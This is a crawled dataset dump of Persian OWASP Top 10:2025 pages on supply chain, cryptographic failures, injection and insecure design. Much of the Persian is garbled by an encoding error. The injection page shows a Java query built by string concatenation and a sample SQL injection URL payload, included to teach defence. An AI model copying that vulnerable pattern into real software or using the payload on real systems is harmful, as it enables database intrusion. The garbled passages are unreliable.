[CWE-1104](https://cwe.mitre.org/data/definitions/1104.html) Use of a Third-Party Component Without Maintainers\n- [CWE-1329](https://cwe.mitre.org/data/definitions/1329.html) Dependence on Component with No Update Capability\n- [CWE-1395](https://cwe.mitre.org/data/definitions/1395.html) Dependence on Vulnerable Third-Party Component\n\n### منابع\n\n- [OWASP Top 10:2025 - A03 Software Supply Chain Failures](https://owasp.org/Top10/2025/A03_2025-Software_Supply_Chain_Failures/)\n- [OWASP Application Security Verification Standard: V15 Secure Coding and Architecture](https://owasp.org/www-project-application-security-verification-standard/)\n- [OWASP Cheat Sheet Series: Dependency Graph SBOM](https://cheatsheetseries.owasp.org/)\n- [OWASP Cheat Sheet Series: Vulnerable Dependency Management](https://cheatsheetseries.owasp.org/)\n- [OWASP Dependency-Track](https://dependencytrack.org/)\n- [OWASP CycloneDX](https://cyclonedx.org/)\n- [OWASP Application Security Verification Standard: V1 Architecture, Design and Threat Modelling](https://owasp.org/www-project-application-security-verification-standard/)\n- [OWASP Dependency Check (Java & .NET)](https://owasp.org/www-project-dependency-check/)\n- [OWASP Testing Guide - Map Application Architecture (OTG-INFO-010)](https://owasp.org/www-project-web-security-testing-guide/)\n- [OWASP Virtual Patching Best Practices](https://owasp.org/)\n- [MITRE CVE search](https://cve.mitre.org/)\n- [National Vulnerability Database (NVD)](https://nvd.nist.gov/)\n- [Retire.js (JavaScript)](https://retirejs.github.io/)\n- [GitHub Advisory Database](https://github.com/advisories)\n- [Ruby Libraries Security Advisory Database](https://rubysec.com/)\n- [SAFECode Software Integrity Controls](https://safecode.org/)\n- Glassworm & PhantomRaven supply chain attacks", "znaku_textu": 7363, "slov": 760, "odkazu": 55, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:50", "sha256": "3bfecbfbfdb2c266703d23a5b5897f3fd70ed739c47d208fe750ca280981b1f8", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cwe.mitre.org/data/definitions/477.html", "https://cwe.mitre.org/data/definitions/1035.html", "https://cwe.mitre.org/data/definitions/1104.html", "https://cwe.mitre.org/data/definitions/1329.html", "https://cwe.mitre.org/data/definitions/1395.html", "https://cheatsheetseries.owasp.org/", "https://dependencytrack.org/", "https://cyclonedx.org/", "https://cve.mitre.org/", "https://nvd.nist.gov/", "https://retirejs.github.io/", "https://github.com/advisories", "https://rubysec.com/", "https://safecode.org/", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/fa/A04_2025-Cryptographic_Failures/", "titulek": "A04 Cryptographic Failures - OWASP Top 10:2025", "h1": "A04:2025 Cryptographic Failures (شکست‌های رمزنگاری)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/fa/A04_2025-Cryptographic_Failures/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A04:2025 Cryptographic Failures (شکست‌های رمزنگاری)"}, {"uroven": 2, "text": "Background"}, {"uroven": 2, "text": "جدول امتیازدهی"}, {"uroven": 2, "text": "توضیحات"}, {"uroven": 3, "text": "؎ءعات و اشتباهات معمول"}, {"uroven": 2, "text": "چگونه جلوگیری کنیŮ"}, {"uroven": 2, "text": "مثال‌های سناریو حمله"}, {"uroven": 2, "text": "لیست CWEهای مرتبط"}, {"uroven": 2, "text": "منابع"}], "markdown": "# A04:2025 Cryptographic Failures (شکست‌های رمزنگاری)\n\n## Background\n\nاین ریسک ŘŻŘą سال ۲۰۲۾ دو رتبه سقوط کرده و اکنون ŘŻŘą جایگاه **شماره Ű´** قرار داعد. این دسته شامل خطاهایی است که به دلیل عدم استفاده از رمزنگاری، استفاده از رمزنگاری ضعیف، نشت کلیدهای رمزنگاری، یا اشتباهات مرتبط با تولید اؚداد تصادفی ع؎ می‌دهند. سه مورد از رایج‌ترین CWEها ŘŻŘą این ریسک عبارت‌اند از:\n\n- [CWE-327](https://cwe.mitre.org/data/definitions/327.html): Use of a Broken or Risky Cryptographic Algorithm\n\n- [CWE-331](https://cwe.mitre.org/data/definitions/331.html): Insufficient Entropy\n\n- [CWE-1241](https://cwe.mitre.org/data/definitions/1241.html): Use of Predictable Algorithm in Random Number Generator\n\n- [CWE-338](https://cwe.mitre.org/data/definitions/338.html): Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)\n\n---\n\n## جدول امتیازدهی\n\n| CWEs نگاشت‌شده | بیشترین نرخ وقوع | میانگین نرخ وقوع | بیشترین ٞوشش | میانگین ٞوشش | میانگین امتیاز Exploit (وزن‌دار) | میانگین امتیاز Impact (وزن‌دار) | کل وقوع‌ها | کل CVEها |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 32 | 13.77% | 3.80% | 100.00% | 47.74% | 7.23 | 3.90 | 1,665,348 | 2,185 |\n\n---\n\n## توضیحات\n\nرمزنگاری باید برای داده‌های حساس چه ŘŻŘą حالت ذخیره (at rest) و چه ŘŻŘą حالت انتقال (in transit) به درستی پیاده‌سازی شود. خطاهای رمزنگاری می‌توانند منجر به پیش‌بینی توکن‌ها، جعل نشست‌ها، شکستن رمزگذاری، یا بازیابی کلیدهای خصوصی شوند.\n\n### ؎ءعات و اشتباهات معمول\n\n- استفاده از الگوریتم‌ها یا پروتکل‌های قدیمی یا ضعیف\n- کلیدهای پیش‌فرض، ضعیف، دوباره‌استفاده‌شده یا عدم مدیریت کلید و چرخش\n- ذخیره کلیدها یا داده حساس رمزنگاری‌شده ŘŻŘą مخازن ÚŠŘŻ\n- عدم ا؏باع رمزنگاری (TLS / HTTPS)\n- نادیده گرفتن یا اشتباه ŘŻŘą تولید IV یا nonce\n- استفاده از توابؚ هش منسوخ یا padding الگوریتمی منسوخ (MD5، SHA‑1، PKCS#1 v1.5)\n- استفاده از PRNG ضعیف یا قابل پیش‌بینی\n- عدم استفاده از رمزنگاری احعاز هویت‌شده\n- امکان downgrade یا دوع زدن پروتکل رمزنگاری\n- پیام‌های خطای رمزنگاری یا کانال‌های جانبی قابل سوءاستفاده\n\n---\n\n## چگونه جلوگیری کنیŮ\n\n- داده‌های حساس عا طبقه‌بندی و برچسب‌گذاری کنید\n- کلیدها عا ŘŻŘą HSM یا سرویس ابری امن ذخیره کنید\n- از پیاده‌سازی‌های معتبر الگوریتم‌های رمزنگاری استفاده کنید\n- داده‌های حساس عا فقط ŘŻŘą ؾوعت نیاز ذخیره کنید؛ حذف یا توکنیزه نمایید\n- رمزنگاری برای داده ŘŻŘą حال انتقال و ذخیره عا اعمال کنید\n- از پروتکل‌های بدون رمزگذاری مانند FTP و SMTP استفاده نکنید\n- توابؚ هش امن با نمک و تطبیقی استفاده شود (Argon2, bcrypt, scrypt, PBKDF2-HMAC-SHA-256)\n- IV/nonce باید صحیح تولید و دوباره استفاده نشود\n- از رمزنگاری احعاز هویت‌شده استفاده شود\n- توابؚ منسوخ یا paddingهای قدیمی استفاده نشود\n- آماده‌سازی برای رمزنگاری پساکوانتومی (PQC)\n\n---\n\n## مثال‌های سناریو حمله\n\n**سناریو #1**: سایت TLS عا برای همه ؾفحات اعمال نمی‌کند یا TLS ضعیف پیکربندی شده — مهاجم اتصال عا downgrade می‌کند، درخواست‌ها عا رهگیری و کوکی نشست عا دزدی می‌کند ([OWASP](https://owasp.org/Top10/2025/A04_2025-Cryptographic_Failures/))\n\n**سناریو #2**: پایگاه داده رمزهای ؚبوع هش ساده یا بدون نمک استفاده می‌کند، مهاجم دیتابیس عا است؎عا؏ و هش‌ها عا بازیابی می‌کند ([OWASP](https://owasp.org/Top10/2025/A04_2025-Cryptographic_Failures/))\n\n---\n\n## لیست CWEهای مرتبط\n\n- [CWE-261](https://cwe.mitre.org/data/definitions/261.html) Weak Encoding for Password\n- [CWE-296](https://cwe.mitre.org/data/definitions/296.html) Improper Following of a Certificate’s Chain of Trust\n- [CWE-319](https://cwe.mitre.org/data/definitions/319.html) Cleartext Transmission of Sensitive Information\n- [CWE-320](https://cwe.mitre.org/data/definitions/320.html) Key Management Errors (Prohibited)\n- [CWE-321](https://cwe.mitre.org/data/definitions/321.html) Use of Hard‑coded Cryptographic Key\n- [CWE-322](https://cwe.mitre.org/data/definitions/322.html) Key Exchange Without Entity Authentication\n- [CWE-323](https://cwe.mitre.org/data/definitions/323.html) Reusing a Nonce or Key Pair in Encryption\n- [CWE-324](https://cwe.mitre.org/data/definitions/324.html) Use of a Key Past its Expiration Date\n- [CWE-325](https://cwe.mitre.org/data/definitions/325.html) Missing Required Cryptographic Step\n- [CWE-326](https://cwe.mitre.org/data/definitions/326.html) Inadequate Encryption Strength\n- [CWE-327](https://cwe.mitre.org/data/definitions/327.html) Broken or Risky Cryptography\n- [CWE-328](https://cwe.mitre.org/data/definitions/328.html) Reversible One‑Way Hash\n- [CWE-329](https://cwe.mitre.org/data/definitions/329.html) Not Using a Random IV with CBC Mode\n- [CWE-330](https://cwe.mitre.org/data/definitions/330.html) Use of Insufficiently Random Values\n- [CWE-331](https://cwe.mitre.org/data/definitions/331.html) Insufficient Entropy\n- [CWE-332](https://cwe.mitre.org/data/definitions/332.html) Insufficient Entropy in PRNG\n- [CWE-334](https://cwe.mitre.org/data/definitions/334.html) Small Space of Random Values\n- [CWE-335](https://cwe.mitre.org/data/definitions/335.html) Incorrect Usage of Seeds in PRNG\n- [CWE-336](https://cwe.mitre.org/data/definitions/336.html) Same Seed in PRNG\n- [CWE-337](https://cwe.mitre.org/data/definitions/337.html) Predictable Seed in PRNG\n- [CWE-338](https://cwe.mitre.org/data/definitions/338.html) Cryptographically Weak PRNG\n- [CWE-340](https://cwe.mitre.org/data/definitions/340.html) Predictable Numbers or IDs\n- [CWE-342](https://cwe.mitre.org/data/definitions/342.html) Predictable Values Derived from Previous Values\n- [CWE-347](https://cwe.mitre.org/data/definitions/347.html) Improper Verification of Cryptographic Signature\n- [CWE-523](https://cwe.mitre.org/data/definitions/523.html) Unprotected Transport of Credentials\n- [CWE-757](https://cwe.mitre.org/data/definitions/757.html) Weak Algorithm Choice in Negotiation\n- [CWE-759](https://cwe.mitre.org/data/definitions/759.html) One-way Hash Without Salt\n- [CWE-760](https://cwe.mitre.org/data/definitions/760.html) One-way Hash with Predictable Salt\n- [CWE-780](https://cwe.mitre.org/data/definitions/780.html) RSA Without OAEP\n- [CWE-916](https://cwe.mitre.org/data/definitions/916.html) Password Hashing With Insufficient Work Factor\n- [CWE-1240](https://cwe.mitre.org/data/definitions/1240.html) Cryptographic Primitive with Risky Implementation\n- [CWE-1241](https://cwe.mitre.org/data/definitions/1241.html) Predictable Algorithm in RNG\n\n---\n\n## منابع\n\n- [OWASP Top 10:2025 – A04 Cryptographic Failures](https://owasp.org/Top10/2025/A04_2025-Cryptographic_Failures/)\n- [OWASP Proactive Controls: C2 – Use Cryptography to Protect Data](https://owasp.org/www-project-proactive-controls/v4/)\n- [OWASP ASVS – Cryptography & Secure Communication & Data Protection (V11, V12, V14)](https://owasp.org/www-project-application-security-verification-standard/)\n- [OWASP Cheat Sheet: Transport Layer Protection](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Password Storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Encrypted Storage](https://cheatsheetseries.owasp.org/cheatsheets/Encrypted_Storage_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: HSTS](https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html)\n- [OWASP Testing Guide: Weak Cryptography](https://owasp.org/www-project-web-security-testing-guide/)\n- [ENISA: Roadmap for Post-Quantum Cryptography](https://www.enisa.europa.eu/publications/post-quantum-cryptography)\n- [NIST: Post-Quantum Cryptography Standards](https://csrc.nist.gov/projects/post-quantum-cryptography)", "znaku_textu": 8843, "slov": 798, "odkazu": 78, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:51", "sha256": "58dc61b7fa015bd83fe2519569dfd0974333ba812b87f054b521989d117e4186", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cwe.mitre.org/data/definitions/327.html", "https://cwe.mitre.org/data/definitions/331.html", "https://cwe.mitre.org/data/definitions/1241.html", "https://cwe.mitre.org/data/definitions/338.html", "https://cwe.mitre.org/data/definitions/261.html", "https://cwe.mitre.org/data/definitions/296.html", "https://cwe.mitre.org/data/definitions/319.html", "https://cwe.mitre.org/data/definitions/320.html", "https://cwe.mitre.org/data/definitions/321.html", "https://cwe.mitre.org/data/definitions/322.html", "https://cwe.mitre.org/data/definitions/323.html", "https://cwe.mitre.org/data/definitions/324.html", "https://cwe.mitre.org/data/definitions/325.html", "https://cwe.mitre.org/data/definitions/326.html", "https://cwe.mitre.org/data/definitions/328.html", "https://cwe.mitre.org/data/definitions/329.html", "https://cwe.mitre.org/data/definitions/330.html", "https://cwe.mitre.org/data/definitions/332.html", "https://cwe.mitre.org/data/definitions/334.html", "https://cwe.mitre.org/data/definitions/335.html", "https://cwe.mitre.org/data/definitions/336.html", "https://cwe.mitre.org/data/definitions/337.html", "https://cwe.mitre.org/data/definitions/340.html", "https://cwe.mitre.org/data/definitions/342.html", "https://cwe.mitre.org/data/definitions/347.html", "https://cwe.mitre.org/data/definitions/523.html", "https://cwe.mitre.org/data/definitions/757.html", "https://cwe.mitre.org/data/definitions/759.html", "https://cwe.mitre.org/data/definitions/760.html", "https://cwe.mitre.org/data/definitions/780.html", "https://cwe.mitre.org/data/definitions/916.html", "https://cwe.mitre.org/data/definitions/1240.html", "https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Encrypted_Storage_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html", "https://www.enisa.europa.eu/publications/post-quantum-cryptography", "https://csrc.nist.gov/projects/post-quantum-cryptography", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/fa/A05_2025-Injection/", "titulek": "A05 Injection - OWASP Top 10:2025", "h1": "A05:2025 Injection", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/fa/A05_2025-Injection/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A05:2025 Injection"}, {"uroven": 2, "text": "پس‌زمینه"}, {"uroven": 2, "text": "جدول امتیازدهی"}, {"uroven": 2, "text": "توضیحات"}, {"uroven": 3, "text": "انواع رایج Injection"}, {"uroven": 2, "text": "چگونه جلوگیری کنیŮ"}, {"uroven": 2, "text": "نمونه سناریوهای حمله"}, {"uroven": 2, "text": "منابع (References)"}, {"uroven": 2, "text": "لیست CWEهای مرتبط (List of Mapped CWEs)"}], "markdown": "# [A05:2025 Injection](https://owasp.org/Top10/2025/A05_2025-Injection/)\n\n## پس‌زمینه\n\nInjection ŘŻŘą رتبه‌بندی سال ۲۰۲۾ دو پله سقوط کرده و از #3 به #5 رسیده است، و همچنان نسبت به A04:2025-Cryptographic Failures و A06:2025-Insecure Design ŘŻŘą جایگاه ؎ود باقی مانده است.\n\nاین دسته یکی از پرآزمایش‌ترین دسته‌هاست، به‌طوری که ۹۰۰٪ برنامه‌ها حداقل برای یک نوع injection بررسی شده‌اند.\n\nInjection بیشترین تؚداد CVE عا ŘŻŘą بین همه دسته‌ها داعد و شامل ۳ۡ CWE است.\n\nنمونه‌ها شامل Cross-site Scripting (XSS) با فرکانس بالا و تأثیر پایین (بیش از ۳۰k CVE) و SQL Injection با فرکانس پایین و تأثیر بالا (بیش از ۹۴k CVE) هستند.\n\nتؚداد زیاد CVEهای CWE-79 (Improper Neutralization of Input During Web Page Generation – 'Cross-site Scripting') میانگین weighted impact این دسته عا کاهش می‌دهد.\n\n## جدول امتیازدهی\n\n| تؚداد CWEهای نگاشت‌شده | بیشترین نرخ بعوز | میانگین نرخ بعوز | بیشترین ٞوشش | میانگین ٞوشش | میانگین امتیاز بهره‌برداری | میانگین امتیاز تأثیر | تؚداد کل رخدادها |\n| --- | --- | --- | --- | --- | --- | --- | --- |\n| 37 | 13.77% | 3.08% | 100.00% | 42.93% | 7.15 | 4.32 | 1,404,249 |\n\n## توضیحات\n\nInjection یک آسیب‌پذیری است که به مهاجم اجازه می‌دهد ÚŠŘŻ یا دستوعات مخرب (مانند SQL یا shell code) عا واعد فیلدهای ورودی برنامه کند و سیستم آن‌ها عا به‌عنوان بخشی از سیستم ا؏عا کند. پیامدهای این نوع آسیب‌پذیری می‌تواند شدید باشد.\n\nیک برنامه زمانی آسیب‌پذیر است که:\n- داده‌های ورودی ڊاعبع توسء برنامه اعتبارسنجی، فیلتر یا sanitize نشده باشند\n- کوئری‌ها یا فراخوانی‌های غیرپارامتری بدون escaping context-aware مستقیماً ŘŻŘą interpreter استفاده شوند\n- داده‌های unsanitized ŘŻŘą پارامترهای ORM برای است؎عا؏ رکوردهای حساس استفاده شوند\n- داده‌های مخرب مستقیم یا concatenated ŘŻŘą query، command یا stored procedure استفاده شوند\n\n### انواع رایج Injection\n\n- SQL, NoSQL, OS command, ORM, LDAP, Expression Language (EL) / OGNL\n- تشخیص آسیب‌پذیری بهترین عوش ترکیبی شامل بازبینی ÚŠŘŻ و تست اتوماتیک (fuzzing) تمام پارامترها، headers، URL، cookies، JSON، SOAP و XML است. ابزارهای SAST، DAST و IAST ŘŻŘą CI/CD می‌توانند مفید باشند.\n- Injection مشابهی ŘŻŘą LLMها نیز ع؎ می‌دهد که ŘŻŘą [OWASP LLM Top 10](https://genai.owasp.org) به‌ویژه [LLM01:2025 Prompt Injection](https://genai.owasp.org) ٞوشش داده شده است.\n\n## چگونه جلوگیری کنیŮ\n\n- از API امن استفاده کنید یا از ORMها بهره ببرید تا داده از دستوعات ؏دا شود.\n- اگع جداسازی ممکن نیست:\n- اعتبارسنجی مثبت سمت سعوع انجام دهید\n- برای کوئری‌های باقی‌مانده، کاراکترهای ویژه عا با syntax مخصوص interpreter escape کنید\n- توجه داشته باشید که سا؎تاع SQL مانند table/column name عا نمی‌توان escape ڊعد\n\n⚠️ هشدار: این تکنیک‌ها پیچیده هستند و ŘŻŘą ؾوعت تغییرات جزئی سیستم خطاپذیر می‌شوند.\n\n## نمونه سناریوهای حمله\n\n**سناریو #1:**\n```java\nString query = \"SELECT * FROM accounts WHERE custID='\" + request.getParameter(\"id\") + \"'\";\nسناریو #2:\nQuery HQLQuery = session.createQuery(\"FROM accounts WHERE custID='\" + request.getParameter(\"id\") + \"'\");\nŘŻŘą هر دو، مهاجم مقدار id عا به ' UNION SLEEP(10);-- تغییر می‌دهد:\n\nhttp://example.com/app/accountView?id=' UNION SELECT SLEEP(10);--\n\nاین باؚ؍ بازگرداندن همه رکوردها می‌شود. حملات خطرناک‌تر می‌توانند داده‌ها عا تغییر دهند، حذف کنند یا stored procedure ا؏عا کنند.\n\n## منابع (References)\n\n- [OWASP Proactive Controls: Secure Database Access](https://owasp.org/www-project-proactive-controls/v3/)\n- [OWASP ASVS: V5 Input Validation and Encoding](https://owasp.org/ASVS/)\n- [OWASP Testing Guide: SQL Injection, Command Injection, and ORM Injection](https://owasp.org/www-project-web-security-testing-guide/)\n- [OWASP Cheat Sheet: Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: SQL Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Injection Prevention in Java](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_in_Java.html)\n- [OWASP Cheat Sheet: Query Parameterization](https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html)\n- [OWASP Automated Threats to Web Applications – OAT-014](https://owasp.org/www-project-automated-threats-to-web-applications/)\n- [PortSwigger: Server-side template injection](https://portswigger.net/web-security/template-injection)\n- [Awesome Fuzzing: a list of fuzzing resources](https://github.com/awesome-fuzzing/awesome-fuzzing)\n\n## لیست CWEهای مرتبط (List of Mapped CWEs)\n\n- [CWE-20](https://cwe.mitre.org/data/definitions/20.html) Improper Input Validation\n- [CWE-74](https://cwe.mitre.org/data/definitions/74.html) Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')\n- [CWE-76](https://cwe.mitre.org/data/definitions/76.html) Improper Neutralization of Equivalent Special Elements\n- [CWE-77](https://cwe.mitre.org/data/definitions/77.html) Improper Neutralization of Special Elements used in a Command ('Command Injection')\n- [CWE-78](https://cwe.mitre.org/data/definitions/78.html) Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n- [CWE-79](https://cwe.mitre.org/data/definitions/79.html) Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n- [CWE-80](https://cwe.mitre.org/data/definitions/80.html) Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)\n- [CWE-83](https://cwe.mitre.org/data/definitions/83.html) Improper Neutralization of Script in Attributes in a Web Page\n- [CWE-86](https://cwe.mitre.org/data/definitions/86.html) Improper Neutralization of Invalid Characters in Identifiers in Web Pages\n- [CWE-88](https://cwe.mitre.org/data/definitions/88.html) Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')\n- [CWE-89](https://cwe.mitre.org/data/definitions/89.html) Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')\n- [CWE-90](https://cwe.mitre.org/data/definitions/90.html) Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')\n- [CWE-91](https://cwe.mitre.org/data/definitions/91.html) XML Injection (aka Blind XPath Injection)\n- [CWE-93](https://cwe.mitre.org/data/definitions/93.html) Improper Neutralization of CRLF Sequences ('CRLF Injection')\n- [CWE-94](https://cwe.mitre.org/data/definitions/94.html) Improper Control of Generation of Code ('Code Injection')\n- [CWE-95](https://cwe.mitre.org/data/definitions/95.html) Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')\n- [CWE-96](https://cwe.mitre.org/data/definitions/96.html) Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')\n- [CWE-97](https://cwe.mitre.org/data/definitions/97.html) Improper Neutralization of Server-Side Includes (SSI) Within a Web Page\n- [CWE-98](https://cwe.mitre.org/data/definitions/98.html) Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')\n- [CWE-99](https://cwe.mitre.org/data/definitions/99.html) Improper Control of Resource Identifiers ('Resource Injection')\n- [CWE-103](https://cwe.mitre.org/data/definitions/103.html) Struts: Incomplete validate() Method Definition\n- [CWE-104](https://cwe.mitre.org/data/definitions/104.html) Struts: Form Bean Does Not Extend Validation Class\n- [CWE-112](https://cwe.mitre.org/data/definitions/112.html) Missing XML Validation\n- [CWE-113](https://cwe.mitre.org/data/definitions/113.html) Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')\n- [CWE-114](https://cwe.mitre.org/data/definitions/114.html) Process Control\n- [CWE-115](https://cwe.mitre.org/data/definitions/115.html) Misinterpretation of Output\n- [CWE-116](https://cwe.mitre.org/data/definitions/116.html) Improper Encoding or Escaping of Output\n- [CWE-129](https://cwe.mitre.org/data/definitions/129.html) Improper Validation of Array Index\n- [CWE-159](https://cwe.mitre.org/data/definitions/159.html) Improper Handling of Invalid Use of Special Elements\n- [CWE-470](https://cwe.mitre.org/data/definitions/470.html) Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')\n- [CWE-493](https://cwe.mitre.org/data/definitions/493.html) Critical Public Variable Without Final Modifier\n- [CWE-500](https://cwe.mitre.org/data/definitions/500.html) Public Static Field Not Marked Final\n- [CWE-564](https://cwe.mitre.org/data/definitions/564.html) SQL Injection: Hibernate\n- [CWE-610](https://cwe.mitre.org/data/definitions/610.html) Externally Controlled Reference to a Resource in Another Sphere\n- [CWE-643](https://cwe.mitre.org/data/definitions/643.html) Improper Neutralization of Data within XPath Expressions ('XPath Injection')\n- [CWE-644](https://cwe.mitre.org/data/definitions/644.html) Improper Neutralization of HTTP Headers for Scripting Syntax\n- [CWE-917](https://cwe.mitre.org/data/definitions/917.html) Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')", "znaku_textu": 10278, "slov": 1003, "odkazu": 85, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:52", "sha256": "fd2ad0701a459c6a7104456eb32dc8b98e7b66aca92419d7e5c024a8196f7231", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://genai.owasp.org/", "https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_in_Java.html", "https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html", "https://portswigger.net/web-security/template-injection", "https://github.com/awesome-fuzzing/awesome-fuzzing", "https://cwe.mitre.org/data/definitions/20.html", "https://cwe.mitre.org/data/definitions/74.html", "https://cwe.mitre.org/data/definitions/76.html", "https://cwe.mitre.org/data/definitions/77.html", "https://cwe.mitre.org/data/definitions/78.html", "https://cwe.mitre.org/data/definitions/79.html", "https://cwe.mitre.org/data/definitions/80.html", "https://cwe.mitre.org/data/definitions/83.html", "https://cwe.mitre.org/data/definitions/86.html", "https://cwe.mitre.org/data/definitions/88.html", "https://cwe.mitre.org/data/definitions/89.html", "https://cwe.mitre.org/data/definitions/90.html", "https://cwe.mitre.org/data/definitions/91.html", "https://cwe.mitre.org/data/definitions/93.html", "https://cwe.mitre.org/data/definitions/94.html", "https://cwe.mitre.org/data/definitions/95.html", "https://cwe.mitre.org/data/definitions/96.html", "https://cwe.mitre.org/data/definitions/97.html", "https://cwe.mitre.org/data/definitions/98.html", "https://cwe.mitre.org/data/definitions/99.html", "https://cwe.mitre.org/data/definitions/103.html", "https://cwe.mitre.org/data/definitions/104.html", "https://cwe.mitre.org/data/definitions/112.html", "https://cwe.mitre.org/data/definitions/113.html", "https://cwe.mitre.org/data/definitions/114.html", "https://cwe.mitre.org/data/definitions/115.html", "https://cwe.mitre.org/data/definitions/116.html", "https://cwe.mitre.org/data/definitions/129.html", "https://cwe.mitre.org/data/definitions/159.html", "https://cwe.mitre.org/data/definitions/470.html", "https://cwe.mitre.org/data/definitions/493.html", "https://cwe.mitre.org/data/definitions/500.html", "https://cwe.mitre.org/data/definitions/564.html", "https://cwe.mitre.org/data/definitions/610.html", "https://cwe.mitre.org/data/definitions/643.html", "https://cwe.mitre.org/data/definitions/644.html", "https://cwe.mitre.org/data/definitions/917.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/fa/A06_2025-Insecure_Design/", "titulek": "A06 Insecure Design - OWASP Top 10:2025", "h1": "A06:2025 Insecure Design", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/fa/A06_2025-Insecure_Design/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A06:2025 Insecure Design"}, {"uroven": 2, "text": "پس‌زمینه"}, {"uroven": 2, "text": "جدول امتیازدهی"}, {"uroven": 2, "text": "توضیحات"}, {"uroven": 3, "text": "سه ب؎ش کلیدی طراحی امن"}, {"uroven": 2, "text": "چگونه جلوگیری کنیŮ"}, {"uroven": 2, "text": "نمونه سناریوهای حمله"}, {"uroven": 2, "text": "منابع (References)"}, {"uroven": 2, "text": "لیست CWEهای مرتبط (List of Mapped CWEs)"}], "markdown": "# A06:2025 Insecure Design\n\n## پس‌زمینه\n\nInsecure Design دو پله سقوط کرده و از #4 به #6 رسیده است، چرا که A02:2025-Security Misconfiguration و A03:2025-Software Supply Chain Failures از آن ؚبوع کرده‌اند. این دسته ŘŻŘą سال ۲۰۲۹ معرفی Ř´ŘŻ و پیشرفت‌های قابل توجهی ŘŻŘą صنعت از نظر threat modeling و تمرکز بع طراحی امن مشاهده شده است.\n\nاین دسته بع ریسک‌های مرتبط با طراحی و معماری نرم‌افزار تمرکز دارد، از جمله نقص ŘŻŘą منطق کسب‌وکار برنامه، مثل عدم تعریف تغییرات وضعیت ناخواسته یا غیرمنتظره ŘŻŘą برنامه. دسته‌بندی CWEها شامل CWE-256: Unprotected Storage of Credentials، CWE-269: Improper Privilege Management، CWE-434: Unrestricted Upload of File with Dangerous Type، CWE-501: Trust Boundary Violation، و CWE-522: Insufficiently Protected Credentials می‌شود.\n\n## جدول امتیازدهی\n\n| تؚداد CWEهای نگاشت‌شده | بیشترین نرخ بعوز | میانگین نرخ بعوز | بیشترین ٞوشش | میانگین ٞوشش | میانگین امتیاز بهره‌برداری | 